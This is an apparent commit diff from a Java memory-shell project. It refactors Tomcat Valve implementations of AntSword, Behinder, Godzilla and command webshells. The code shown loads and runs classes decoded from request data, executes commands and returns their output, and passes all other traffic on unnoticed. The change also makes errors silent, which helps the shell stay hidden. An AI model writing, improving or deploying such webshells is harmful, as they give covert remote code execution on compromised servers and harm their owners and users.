refactor: simplify valve shell code

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordValve.java

@@ -77,12 +77,10 @@ public class AntSwordValve extends ClassLoader implements Valve {
                 byte[] bytes = base64Decode(request.getParameter(pass));
                 Object instance = (new AntSwordValve(this.getClass().getClassLoader())).g(bytes).newInstance();
                 instance.equals(new Object[]{request, response});
-            } else {
-                this.getNext().invoke(request, response);
+                return;
             }
-        } catch (Exception e) {
-            e.printStackTrace();
-            this.getNext().invoke(request, response);
+        } catch (Exception ignored) {
         }
+        this.getNext().invoke(request, response);
     }
 }

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderValve.java

@@ -92,13 +92,11 @@ public class BehinderValve extends ClassLoader implements Valve {
                 byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine()));
                 Object instance = (new BehinderValve(this.getClass().getClassLoader())).g(bytes).newInstance();
                 instance.equals(obj);
-            } else {
-                this.getNext().invoke(request, response);
+                return;
             }
-        } catch (Exception e) {
-            e.printStackTrace();
-            this.getNext().invoke(request, response);
+        } catch (Exception ignored) {
         }
+        this.getNext().invoke(request, response);
     }
 
     public HttpServletResponse getInternalResponse(HttpServletResponse response) {

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java

@@ -52,11 +52,10 @@ public class CommandValve implements Valve {
                 while ((length = inputStream.read(buf)) != -1) {
                     outputStream.write(buf, 0, length);
                 }
-            } else {
-                this.getNext().invoke(request, response);
+                return;
             }
-        } catch (Exception e) {
-            this.getNext().invoke(request, response);
+        } catch (Exception ignored) {
         }
+        this.getNext().invoke(request, response);
     }
 }

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java

@@ -125,12 +125,10 @@ public class GodzillaValve extends ClassLoader implements Valve {
                     response.getWriter().write(md5.substring(16));
                     response.flushBuffer();
                 }
-            } else {
-                this.getNext().invoke(request, response);
+                return;
             }
-        } catch (Exception e) {
-            e.printStackTrace();
-            this.getNext().invoke(request, response);
+        } catch (Exception ignored) {
         }
+        this.getNext().invoke(request, response);
     }
 }